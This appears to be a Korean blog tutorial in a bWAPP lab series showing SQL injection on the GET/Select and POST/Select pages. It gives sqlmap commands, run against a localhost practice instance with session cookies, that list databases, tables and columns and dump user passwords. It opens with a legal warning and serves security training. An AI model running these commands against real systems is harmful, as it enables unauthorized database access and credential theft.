이 도구를 이용하여 허용받지 않은 서비스 대상으로 해킹을 시도하는 행위는 범죄 행위 입니다. 해킹을 시도할 때에 발생하는 법적인 책임은 그것을 행한 사용자에게 있다는 것을 명심하시기 바랍니다.
A1 - SQL Injection (GET/Select, POST/Select)
SQL Injection은 사용자가 입력한 값을 서버에서 검증하지 않고 데이터베이스 쿼리 일부분으로 인식하여 데이터베이스의 정보가 노출되거나 인증이 우회되는 취약점 입니다. SQL Injection은 사용자가 데이터를 입력할 수 있는 곳 어디에서든 발생할 수 있습니다.
참고 사이트 - https://sql--injection.blogspot.com/
SQL Injection(GET/Select) 페이지 화면 입니다. 해당 페이지는 드롭다운 메뉴를 사용하여 선택한 영화의 정보를 표로 보여 주고 있습니다. GET 메소드를 사용하여 요청하기 때문에 URL 상에서 변수를 확인할수 있으며, 변수명은 'movie'라는 것을 알수 있습니다.
SQL Injection (GET/Select, POST/Select)를 같이 다룰 것이며 여기서는 SQL Injection 자동화 도구인 sqlmap 이라는 툴을 사용하도록 하겠습니다. sqlmap을 사용하기 이전에 앞에서 한것과 같이 버프스위트를 이용하여 취약점을 찾고 쿼리를 날려서 테스트를 해보시기를 추천 드립니다.
블로그를 처음부터 천천히 보신분들은 아시겠지만, 모르시는 분들은 밑에 주소를 참고 부탁 드립니다.
https://securitycode.tistory.com/59?category=753968
sqlmap 명령어를 실행하면 위와 같은 화면이 출력이 되는것을 확인할수 있습니다.
-u 옵션에 자동화 공격을 시도할 페이지의 주소를 입력하고, POST 메소드를 사용하고 있는 경우는 --data 옵션을 사용하여 인젝션 시도할 변수를 명시해 줍니다. 여기서는 로그인 후 bWAPP를 사용 가능하기 때문에 --cookie 옵션으로 쿠키 값을 입력하여 수행하도록 하겠습니다.
버프스위트를 이용하여 쿠키정보를 확인했으며, 쿡시툴에서도 쿠키정보는 확인이 가능합니다.
sqlmap -DBs 옵션으로 서버 버전, PHP 버전, 웹서버 버전, 취약한 Payload 값을 알아 보았습니다.
sqlmap.py -u "http://127.0.0.1/bWAPP/sqli
_2.php?movie=1&action=go" --cookie="PHPSESSID=nvdvrsfc0odqdn1o22vhe0b0q1; security_level=0" -DBs
sqlmap.py -u "URL 주소" --cookie="쿠키값" -DBs
데이버 베이스 정보 확인
sqlmap.py -u "http://127.0.0.1/bWAPP/sqli
_2.php?movie=1&action=go" --cookie="PHPSESSID=nvdvrsfc0odqdn1o22vhe0b0q1; security_level=0" --dbs
테이블 정보 확인
sqlmap.py -u "http://127.0.0.1/bWAPP/sqli
_2.php?movie=1&action=go" --cookie="PHPSESSID=nvdvrsfc0odqdn1o22vhe0b0q1; security_level=0" -D bwapp --tables
users 테이블의 컬럼 정보 확인
sqlmap.py -u "http://127.0.0.1/bWAPP/sqli
_2.php?movie=1&action=go" --cookie="PHPSESSID=nvdvrsfc0odqdn1o22vhe0b0q1; security_level=0" -T users --columns
패스워드 추출
sqlmap.py -u "http://127.0.0.1/bWAPP/sqli
_2.php?movie=1&action=go" --cookie="PHPSESSID=nvdvrsfc0odqdn1o22vhe0b0q1; security_level=0" -T users -C password --dump
SQL Injection (POST/Select)은 POST 메소드로 URL에 변수가 노출되지 않습니다. sqlmap 사용시 POST 메소드를 사용할경우 --data 옵셕을 사용하여 시도할 변수를 명시를 해주어야 합니다.
데이터 베이스 확인
sqlmap.py -u "http://127.0.0.1/bWAPP/sqli
_13.php" --cookie="PHPSESSID=nvdvrsfc0odqdn1o22vhe0b0q1; security_level=0" --data "movie=1&action=go" --dbs
sqlmap.py -u "URL" --cooke="쿠키값" --data "취약한 변수명"
POST 방식의 경우 --data 옵션으 추가 되므로 테이블확인, 컬럼 확인 모두 직접 해보시기 바랍니다.
'Code::Security > 비박스(BWAPP)' 카테고리의 다른 글
비박스(bWAPP) SQL Injection (Login Form/Hero) (0) | 2019.10.24 |
---|---|
비박스(bWAPP) SQL Injection (AJAX/JSON/jQeury) (0) | 2019.08.30 |
비박스(bWAPP) SQL Injection (POST/Search) (0) | 2019.07.10 |
비박스(bWAPP) SQL Injection (GET/Search) (0) | 2019.06.24 |
비박스(bWAPP) Server-Side Includes (SSI) Injection (0) | 2019.05.24 |